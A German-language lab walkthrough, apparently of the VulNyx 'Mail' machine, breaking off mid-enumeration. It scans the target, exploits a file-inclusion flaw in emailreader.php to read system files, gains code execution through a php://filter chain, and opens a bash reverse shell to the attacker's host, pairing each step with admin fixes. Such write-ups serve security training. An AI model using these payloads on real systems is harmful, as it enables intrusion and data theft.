Mail - VulNyx - Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
cat
nmap
nikto
gobuster
curl
grep
seq
wfuzz
base64
tr
nc (netcat)
ls
cd
find
sudo
bash
mkdir
wget
ssh
ip
ss

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Test beginnt mit der Identifizierung des Ziels im lokalen Netzwerk. Die Ziel-IP wird als `192.168.2.110` angegeben. Ein ARP-Scan (`arp-scan -l`) wird verwendet, um die zugehörige MAC-Adresse zu finden.

Bewertung: Der Scan ist erfolgreich. Die IP `192.168.2.110` ist aktiv und hat die MAC-Adresse `08:00:27:89:7a:de`, die auf `PCS Systemtechnik GmbH` (Oracle VirtualBox) hinweist.

Empfehlung (Pentester): Ziel bestätigt. Füge die IP mit einem sinnvollen Hostnamen (`mail.nyx`) zur lokalen `/etc/hosts`-Datei hinzu. Führe Portscans (TCP und UDP) durch.
Empfehlung (Admin): Standard-Netzwerküberwachung kann helfen, Scans zu erkennen.

Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.110

ARP-Scan
192.168.2.110	08:00:27:89:7a:de	PCS Systemtechnik GmbH
                     

Analyse: Die IP-Adresse `192.168.2.110` wird dem Hostnamen `mail.nyx` in der lokalen `/etc/hosts`-Datei zugeordnet. Dies vereinfacht die Ansprache des Ziels.

Bewertung: Standardverfahren für Penetrationstests.

Empfehlung (Pentester): Nutze den Hostnamen `mail.nyx` in nachfolgenden Befehlen.
Empfehlung (Admin): Keine Aktion erforderlich.

/etc/hosts
  127.0.0.1	localhost
  192.168.2.110   mail.nyx
                     

Analyse: Ein UDP-Portscan wird mit Nmap durchgeführt (`nmap -sU --top-port 1000 -T5 -n $IP -Pn --min-rate 5000`). Es werden die Top 1000 UDP-Ports gescannt, mit hoher Geschwindigkeit (`-T5`, `--min-rate 5000`), ohne DNS-Auflösung (`-n`) und ohne vorherigen Ping-Scan (`-Pn`).

Bewertung: Der Scan zeigt keine eindeutig offenen UDP-Ports. 994 Ports werden als `open|filtered` gemeldet, was bedeutet, dass keine Antwort kam (typisch für gefilterte oder offene UDP-Ports). 6 Ports werden als `closed` gemeldet (ICMP Port Unreachable erhalten). UDP scheint kein vielversprechender Angriffsvektor zu sein.

Empfehlung (Pentester): UDP-Scan zur Kenntnis nehmen, aber den Fokus auf TCP-Dienste legen.
Empfehlung (Admin): Firewall nicht benötigte UDP-Ports. UDP-Scans sind oft "laut" und können durch Monitoring erkannt werden.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.110 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 21:41 CEST
Nmap scan report for 192.168.2.110
Host is up (0.00053s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
7/udp     closed echo
18980/udp closed unknown
19130/udp closed unknown
20411/udp closed unknown
21247/udp closed unknown
49174/udp closed unknown
MAC Address: 08:00:27:89:7A:DE (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
                     

Analyse: Ein umfassender TCP-Portscan wird mit Nmap durchgeführt (`nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000`). Es werden alle TCP-Ports gescannt, Standard-Skripte ausgeführt, Versionen erkannt und ein aggressiver Scanmodus verwendet.

Bewertung: Der Scan identifiziert drei offene TCP-Ports: * Port 22 (SSH): Läuft OpenSSH 8.4p1 (Debian). * Port 25 (SMTP): Läuft Postfix smtpd. SSL/TLS scheint verfügbar (`STARTTLS`). Das Zertifikat ist selbst-signiert oder nicht vertrauenswürdig (`commonName=mail`) und hat eine lange Gültigkeit (bis 2033). Die SMTP-Befehle werden aufgelistet. * Port 80 (HTTP): Läuft Apache httpd 2.4.56 (Debian). Der Titel der Seite lautet "Email Reader". Die MAC-Adresse und OS-Schätzung (Linux) werden bestätigt. Der Hostname des Systems scheint `mail.home` zu sein (aus SMTP-Antwort).

Empfehlung (Pentester): Die Hauptangriffsvektoren sind SSH, SMTP und HTTP. * **HTTP:** Untersuche die "Email Reader"-Anwendung auf Port 80 auf Schwachstellen (IDOR, LFI, RCE, SQLi). * **SMTP:** Prüfe auf offene Relays, Benutzer-Enumeration (`VRFY`, `EXPN`, falls verfügbar), oder Schwachstellen in Postfix. * **SSH:** Versuche später Bruteforce oder Default-Credentials, falls Benutzernamen gefunden werden.
Empfehlung (Admin): Aktualisiere OpenSSH, Postfix und Apache. Konfiguriere Postfix sicher (kein offenes Relay, Benutzer-Enumeration einschränken). Sichere die Webanwendung auf Port 80. Verwende gültige TLS-Zertifikate.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- 192.168.2.110 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-17 21:41 CEST
Nmap scan report for mail.nyx (192.168.2.110)
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=mail
| Subject Alternative Name: DNS:mail
| Not valid before: 2023-05-13T14:36:50
|_Not valid after:  2033-05-10T14:36:50
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: mail.home, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Email Reader
MAC Address: 08:00:27:89:7A:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host:  mail.home; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms mail.nyx (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/].
Nmap done: 1 IP address (1 host up) scanned in 13.34 seconds
                     

Analyse: Ein Nikto-Scan wird gegen den Webserver auf Port 80 ausgeführt, um nach bekannten Schwachstellen und Konfigurationsfehlern zu suchen.

Bewertung: Nikto bestätigt die Apache-Version und findet ähnliche Ergebnisse wie beim Nmap-Scan: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Möglicher ETag-Inode-Leak (`CVE-2003-1418`). * Standard HTTP-Methoden (`GET`, `POST`, `OPTIONS`, `HEAD`). Keine kritischen Schwachstellen wurden durch Nikto direkt aufgedeckt, aber die fehlenden Header deuten auf eine mangelnde Härtung hin.

Empfehlung (Pentester): Notiere die Ergebnisse. Fokussiere dich auf die manuelle Untersuchung der "Email Reader"-Anwendung.
Empfehlung (Admin): Implementiere die fehlenden Sicherheitsheader. Deaktiviere die ETag-Inode-Komponente in der Apache-Konfiguration (`FileETag MTime Size`).

Nikto Scan

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2024-09-17 21:42:41 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 10f, size: 5fb9a9639a7d2, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-09-17 21:43:12 (GMT2) (31 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                     

Web Enumeration

Analyse: Ein Gobuster-Scan (`gobuster dir`) wird auf das Root-Verzeichnis des Webservers (`http://192.168.2.110`) ausgeführt, um Verzeichnisse und Dateien zu finden.

Bewertung: Der Scan findet neben der `index.html` zwei interessante Pfade: `/1` und `/2`. Beide geben den Statuscode 200 (OK) zurück und scheinen Inhalte zu haben. Dies sind ungewöhnliche Pfadnamen, die auf eine mögliche Schwachstelle oder eine ungewöhnliche Konfiguration hindeuten könnten.

Empfehlung (Pentester): Untersuche die Inhalte der Pfade `/1` und `/2` manuell (z.B. mit `curl` oder im Browser). Prüfe, ob es weitere numerische Pfade gibt. Untersuche, ob diese Pfade Parameter akzeptieren oder ob sie auf eine IDOR- (Insecure Direct Object Reference) oder LFI-Schwachstelle hindeuten.
Empfehlung (Admin): Vermeide einfache, numerische Pfade für den Zugriff auf Ressourcen, wenn diese nicht Teil einer gut gesicherten API sind. Stelle sicher, dass keine sensiblen Informationen über solche Pfade zugänglich sind.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.110" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.110
[+] Method:                GET
[+] Threads:               10
[+] Wordlist:              /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:          200,204,301,302,307,401,405,500
[+] User Agent:            gobuster/3.6
[+] Extensions:            ... (gekürzt) ...
[+] Expanded:              true
[+] Ignore SSL error:      true
[+] Timeout:               10s
===============================================================
2024/09/17 21:43:30 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 271]
/1                    (Status: 200) [Size: 335]
/2                    (Status: 200) [Size: 365]
===============================================================
2024/09/17 21:44:45 Finished
===============================================================
                     

Analyse: Der Inhalt der zuvor gefundenen Pfade `/1` und `/2` wird manuell abgerufen und angezeigt.

Bewertung: Die Pfade `/1` und `/2` enthalten E-Mails zwischen den Benutzern `abel` und `cain` (die Namen könnten aus `/etc/passwd` stammen, falls dieses bereits via LFI gelesen wurde, oder es sind neue Benutzernamen). Der Inhalt legt nahe, dass `cain` Zugangsdaten verloren hat und `abel` sich über den Boss beschwert. Dies ist eine signifikante Informationspreisgabe (Information Disclosure) und bestätigt die Benutzernamen `abel` und `cain`.

Empfehlung (Pentester): Notiere die Benutzernamen `cain` und `abel`. Versuche diese für SSH-Login oder andere Dienste zu verwenden. Prüfe, ob weitere numerische Pfade existieren und ob sich dahinter eine Struktur (z.B. ein Skript wie `view_email.php?id=1`) verbirgt, die für LFI/IDOR anfällig sein könnte.
Empfehlung (Admin): **Kritisch:** Behebe die Schwachstelle, die den Zugriff auf E-Mails über einfache URLs ermöglicht. Dies könnte eine IDOR-Schwachstelle sein. Implementiere Zugriffskontrollen und vermeide die direkte Exposition interner Daten über das Web.

http://192.168.2.110/2

From abel@mail.nyx  Sat May 13 19:09:11 2023
Return-Path: 
X-Original-To: cain
Delivered-To: cain@mail.nyx
Received: from localhost ([127.0.0.1])
	by mail.nyx (Postfix) with SMTP id CA55B5DD
	for ; Sat, 13 May 2023 19:09:11 +0200 (CEST)
Subject: none

Hi Cain!
our boss is human trash, he doesn't pay me overtime... I'm very angry right now

Abel
Regards


http://192.168.2.110/1

From cain@mail.nyx  Sat May 13 18:04:51 2023
Return-Path: 
X-Original-To: abel
Delivered-To: abel@mail.nyx
Received: from localhost ([127.0.0.1])
	by mail.nyx (Postfix) with SMTP id CA55B5DD
	for ; Sat, 13 May 2023 18:03:31 +0200 (CEST)
Subject: Important

Hi Abel!
we are screwed, I lost the access credentials.

Cain
Regards
                     

Analyse: Eine Schleife wird verwendet, um die Pfade `/1` bis `/500` abzurufen und Zeilen mit einem `@`-Symbol zu extrahieren, um weitere E-Mail-Adressen oder Header zu finden.

Bewertung: Die Schleife bestätigt, dass nur die Pfade `/1` und `/2` im Bereich 1-500 relevante `@`-Zeichen enthalten (die E-Mail-Header). Es werden keine weiteren E-Mails oder Benutzer auf diese Weise gefunden.

Empfehlung (Pentester): Da die numerischen Pfade eine Sackgasse zu sein scheinen, suche nach dem Skript, das diese Inhalte bereitstellt. Versuche gängige Namen wie `read.php`, `view.php`, `email.php` oder spezifisch `emailreader.php` (basierend auf dem Seitentitel) mit einem ID-Parameter (z.B. `?id=1`).
Empfehlung (Admin): Behebe die zugrunde liegende Schwachstelle (wahrscheinlich IDOR/LFI), die den Zugriff auf `/1` und `/2` erlaubt.

┌──(root㉿CCat)-[~] └─# for i in $(seq 1 500);do echo -e "$i\\n"; curl -s "http://192.168.2.110/$i"| grep "\\@" -i;done
1
From cain@mail.nyx  Sat May 13 18:04:51 2023
Return-Path: 
Delivered-To: abel@mail.nyx
2
From abel@mail.nyx  Sat May 13 19:09:11 2023
Return-Path: 
Delivered-To: cain@mail.nyx
3
4
... (Leere Ausgaben für 3-500) ...
500
                     

LFI Vulnerability & RCE

Analyse: Es wird die URL `http://192.168.2.110/emailreader.php?id=12` aufgerufen (vermutlich im Browser oder mit curl). Anschließend wird versucht, über denselben Parameter (`id`) eine Local File Inclusion (LFI) durchzuführen, um `/etc/passwd` auszulesen.

Bewertung: Der Zugriff auf `id=12` (und vermutlich andere IDs) funktioniert und zeigt E-Mail-Inhalte. Der entscheidende Schritt ist der LFI-Versuch mit `id=../../../../../../../../../etc/passwd`. Dieser ist erfolgreich und gibt den Inhalt der Passwortdatei zurück. Dies bestätigt eine kritische LFI-Schwachstelle im `id`-Parameter von `emailreader.php`.

Empfehlung (Pentester): Kritische LFI gefunden! Nutze diese, um: 1. Systembenutzer zu bestätigen (`abel`, `cain`). 2. Weitere sensible Dateien zu lesen (z.B. `/etc/shadow` (unwahrscheinlich), SSH-Keys, Apache-Konfiguration, Quellcode von `emailreader.php`). 3. Auf Remote Code Execution (RCE) zu prüfen (PHP-Wrapper wie `php://filter`, `php://input`, `data://`; Log Poisoning).
Empfehlung (Admin): **Höchste Priorität:** Behebe die LFI-Schwachstelle in `emailreader.php` sofort! Sanitize den `id`-Parameter rigoros (z.B. nur erlaubte Zeichen/Zahlen zulassen, `basename()` verwenden, Pfade validieren). Beschränke die Leserechte des Webserver-Benutzers.

http://192.168.2.110/emailreader.php?id=12

http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
cain:x:1000:1000:cain,,,:/home/cain:/bin/bash
Debian-exim:x:106:112::/var/spool/exim4:/usr/sbin/nologin
postfix:x:107:114::/var/spool/postfix:/usr/sbin/nologin
abel:x:1001:1001::/home/abel:/bin/bash
                     
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
cain:x:1000:1000:cain,,,:/home/cain:/bin/bash
abel:x:1001:1001::/home/abel:/bin/bash
                     

Analyse: Die LFI-Schwachstelle wird nun mit `wfuzz` und einer Wortliste (`logfiles.txt`) gefuzzt, um automatisch weitere lesbare Dateien zu finden. Die Baseline-Antwort (leere Seite) hat 13 Chars, daher wird `--hh 13` verwendet, um diese auszublenden.

Bewertung: Wfuzz findet zahlreiche interessante Dateien, darunter: * `/etc/passwd`, `/etc/hosts`, `/etc/group` (bestätigt) * `/etc/apache2/apache2.conf` (Apache-Hauptkonfiguration) * `/etc/fstab` (Mount-Informationen) * `/etc/mysql/my.cnf` (MySQL-Konfiguration - falls MySQL verwendet wird) * `/proc/self/cmdline`, `/proc/self/stat`, `/proc/self/status`, `/proc/version` (Prozess- und Systeminformationen) * `/etc/crontab`, `/etc/issue` * `/etc/ssh/sshd_config` (SSH-Server-Konfiguration) * `/var/run/utmp`, `/var/log/wtmp`, `/var/log/lastlog` (Login-Informationen)

Empfehlung (Pentester): Lies die wichtigsten Konfigurationsdateien (`apache2.conf`, `sshd_config`, `my.cnf`, `crontab`) mittels LFI aus, um mehr über die Systemkonfiguration und potenzielle Schwachstellen zu erfahren. Untersuche die `/etc/apache2/apache2.conf` besonders auf `User` und `Group` Direktiven.
Empfehlung (Admin): LFI beheben! Beschränke die Leserechte des Webservers.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://192.168.2.110/emailreader.php?id=FUZZ" --hc 404 --hh 13
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.110/emailreader.php?id=FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        31 L     43 W       1554 Ch     "/etc/passwd"
000001089:   200        9 L      24 W       197 Ch      "/etc/hosts"
000001093:   200        231 L    1121 W     7258 Ch     "/etc/apache2/apache2.conf"
000001092:   200        17 L     111 W      819 Ch      "/etc/fstab"
000001098:   200        31 L     176 W      1139 Ch     "/etc/mysql/my.cnf"
000001108:   200        59 L     59 W       764 Ch      "/etc/group"
000001277:   200        2 L      2 W        40 Ch       "/proc/self/cmdline"
000001301:   200        3 L      6 W        110 Ch      "/proc/cmdline"
000001300:   200        3 L      23 W       198 Ch      "/proc/version"
000001298:   200        24 L     192 W      1055 Ch     "/etc/crontab"
000001296:   200        22 L     80 W       773 Ch      "/etc/issue"
000001311:   200        125 L    398 W      3302 Ch     "/etc/ssh/sshd_config"
000001278:   200        3 L      54 W       333 Ch      "/proc/self/stat"
000001279:   200        58 L     138 W      1363 Ch     "/proc/self/status"
000001322:   200        2 L      3 W        1165 Ch     "/var/run/utmp"
000001321:   200        28 L     79 W       70274 Ch    "/var/log/wtmp"
000001320:   200        3 L      3 W        292597 Ch   "/var/log/lastlog"

Total time: 2.314928
Processed Requests: 2894
Filtered Requests: 2877
Requests/sec.: 1250.146
                     
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
audio:x:29:
dip:x:30:
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-network:x:102:
systemd-resolve:x:103:
input:x:104:
kvm:x:105:
render:x:106:
crontab:x:107:
netdev:x:108:
messagebus:x:109:
systemd-timesync:x:110:
ssh:x:111:
systemd-coredump:x:999:
cain:x:1000:
Debian-exim:x:112:
ssl-cert:x:113:
postfix:x:114:
postdrop:x:115:
abel:x:1001:
                     

Analyse: Der Inhalt der Apache-Konfigurationsdatei `/etc/apache2/apache2.conf` wird mittels LFI ausgelesen.

Bewertung: Der wichtigste Fund in dieser Datei (gegen Ende der Ausgabe) sind die Direktiven `User cain` und `Group cain`. Dies bestätigt, dass der Apache-Webserver (und somit der PHP-Prozess, der `emailreader.php` ausführt) nicht als der übliche Benutzer `www-data`, sondern als der Benutzer `cain` läuft. Dies ist eine ungewöhnliche und potenziell unsichere Konfiguration.

Empfehlung (Pentester): Diese Information ist entscheidend! Jegliche RCE, die über die Webanwendung erreicht wird, wird im Kontext des Benutzers `cain` ausgeführt. Passe die Angriffsstrategie entsprechend an. Der nächste Schritt ist, RCE als `cain` zu erlangen.
Empfehlung (Admin): Ändere den Apache-Benutzer und die Gruppe dringend auf einen dedizierten, unprivilegierten Benutzer wie `www-data`. Das Ausführen des Webservers als regulärer Benutzer erhöht das Risiko erheblich, falls der Webserver kompromittiert wird.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/apache2/apache2.conf
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.4/ for detailed information about
# the directives and /usr/share/doc/apache2/README.Debian about Debian specific
# hints.
... (Konfiguration gekürzt) ...
# Include the virtual host configurations:
IncludeOptional sites-enabled/*.conf

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
User cain
Group cain
                     
┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.110/emailreader.php?id=../../../../../../../../../etc/hosts
127.0.0.1	localhost
127.0.1.1	mail

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
                     

Analyse: Der Quellcode der verwundbaren Datei `emailreader.php` wird mittels LFI und dem `php://filter`-Wrapper (Base64-kodiert) ausgelesen.

Bewertung: Der Quellcode `php $file = $GET["id"]; if(isset($file)) { include("$file"); } ?>` wird erfolgreich extrahiert. Er bestätigt die extrem einfache und unsichere Implementierung der LFI: Der `id`-Parameter aus der GET-Anfrage wird ohne jegliche Prüfung oder Bereinigung direkt in die `include()`-Funktion übergeben.

Empfehlung (Pentester): Da der Quellcode bekannt ist, können nun gezielt RCE-Techniken angewendet werden. Da einfache LFI funktioniert und Apache als `cain` läuft, versuche RCE mittels PHP-Wrappern (`php://filter`, `php://input`, `data://`) oder Log Poisoning, um eine Shell als `cain` zu erhalten.
Empfehlung (Admin): Die Verwundbarkeit ist trivial. Behebe sie sofort durch korrekte Eingabevalidierung und -bereinigung.

┌──(root㉿CCat)-[~] └─# curl -s http://192.168.2.110/emailreader.php?id=php://filter/convert.base64-encode/resource=emailreader.php | tr -d "< >" | base64 -d

php
  $file = $GET["id"];
  if(isset($file))
  {
    include("$file");
  }

                     

Analyse: Ein fortgeschrittener RCE-Versuch wird unternommen, der `php://filter` mit Zeichenkodierungs-Konvertierungen (`convert.iconv.UTF8.CSIS2022KR`) kombiniert. Ziel ist es, einen Befehl (`id`) über den `cmd`-Parameter auszuführen.

Bewertung: Dieser Angriff ist erfolgreich! Die Ausgabe `uid=1000(cain) gid=1000(cain) groups=1000(cain)` erscheint in der Antwort. Dies beweist, dass Code als Benutzer `cain` (wie erwartet, da Apache als `cain` läuft) ausgeführt werden kann. Diese Technik umgeht möglicherweise Filter oder Einschränkungen, die einfachere RCE-Versuche blockieren würden.

Empfehlung (Pentester): RCE als `cain` bestätigt! Nutze diese exakte URL-Struktur und ersetze `id` im `cmd`-Parameter durch einen URL-kodierten Reverse-Shell-Payload, um eine interaktive Shell als `cain` zu erhalten.
Empfehlung (Admin): Behebe die LFI-Schwachstelle. Aktualisiere PHP, da neuere Versionen möglicherweise einige Filter-Bypass-Techniken erschweren. Eine Web Application Firewall (WAF) könnte solche komplexen Angriffe erkennen, aber die Ursachenbehebung im Code ist essenziell.

http://192.168.2.110/emailreader.php?id=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|.../resource=php://temp&cmd=id

uid=1000(cain) gid=1000(cain) groups=1000(cain)
                     

Initial Access

Analyse: Der RCE-Vektor wird genutzt, um eine Reverse Shell zu starten. Ein Netcat-Listener wird auf Port 4444 gestartet. Die RCE-URL wird aufgerufen, wobei der `cmd`-Parameter einen URL-kodierten Bash-Reverse-Shell-Befehl enthält (`/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4444 0>&1'`).

Bewertung: Der Angriff ist erfolgreich. Der Netcat-Listener fängt die Verbindung vom Zielsystem ab (`connect to [192.168.2.199] from (UNKNWN) [192.168.2.110] 34120`). Der `id`-Befehl in der neuen Shell bestätigt, dass der Zugriff als Benutzer `cain` (`uid=1000(cain)`) erfolgt ist.

Empfehlung (Pentester): Initial Access als `cain` erfolgreich! Stabilisiere die Shell (z.B. `python3 -c 'import pty;pty.spawn("/bin/bash")'`) und beginne mit der Enumeration für Privilege Escalation als Benutzer `cain`.
Empfehlung (Admin): LFI beheben! Egress-Filterung könnte die ausgehende Reverse-Shell-Verbindung blockieren.

┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
                     
http://192.168.2.110/emailreader.php?id=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|.../resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
                     
┌──(root㉿CCat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.110] 34120
bash: cannot set terminal process group (481): Inappropriate ioctl for device
bash: no job control in this shell
cain@mail:/var/www/html$ id
uid=1000(cain) gid=1000(cain) groups=1000(cain)
                     

Privilege Escalation

Analyse: In der Shell als `cain` werden grundlegende Verzeichnisse (`/var`, `/var/backups`, `/var/www`, `/opt`, `/tmp`, `~`) aufgelistet, um die Umgebung besser zu verstehen.

Bewertung: Die Verzeichnisstruktur scheint relativ standardmäßig zu sein. `/var/www` gehört `cain`, was zur Apache-Konfiguration passt. `/var/backups` enthält nur eine apt-Statusdatei. Das Home-Verzeichnis von `cain` enthält Standard-Dateien, wobei `.bash_history` nach `/dev/null` verlinkt ist (Spurenverwischung).

Empfehlung (Pentester): Führe umfassendere Enumeration durch: `sudo -l`, SUID/GUID-Dateien, Cronjobs, Kernel-Version, laufende Prozesse.
Empfehlung (Admin): Überprüfe die Berechtigungen von `/var/www`. Die Umleitung der Bash-History ist verdächtig.

cain@mail:/var$ ls -la
total 48
drwxr-xr-x 12 root root  4096 May 13  2023 .
drwxr-xr-x 18 root root  4096 May 13  2023 ..
drwxr-xr-x  2 root root  4096 May 13  2023 backups
drwxr-xr-x 10 root root  4096 May 13  2023 cache
drwxr-xr-x 27 root root  4096 May 13  2023 lib
drwxrwsr-x  2 root staff 4096 Jun 30  2022 local
lrwxrwxrwx  1 root root     9 Jan 15  2023 lock -> /run/lock
drwxr-xr-x  9 root root  4096 Sep 17 21:42 log
drwxrwxrwx  2 root root  4096 May 14  2023 mail
drwxr-xr-x  2 root root  4096 Jan 15  2023 opt
lrwxrwxrwx  1 root root     4 Jan 15  2023 run -> /run
drwxr-xr-x  6 root root  4096 May 13  2023 spool
drwxrwxrwt  2 root root  4096 Sep 17 21:41 tmp
drwxr-xr-x  3 cain cain  4096 May 13  2023 www
cain@mail:/var$ ls -la backups/
total 16
drwxr-xr-x  2 root root 4096 May 13  2023 .
drwxr-xr-x 12 root root 4096 May 13  2023 ..
-rw-r--r--  1 root root 8113 May 13  2023 apt.extended_states.0
cain@mail:/var$ ls -la www/
total 12
drwxr-xr-x  3 cain cain 4096 May 13  2023 .
drwxr-xr-x 12 root root 4096 May 13  2023 ..
drwxr-xr-x  2 cain cain 4096 May 14  2023 html
cain@mail:/var$ ls -la /opt/
total 8
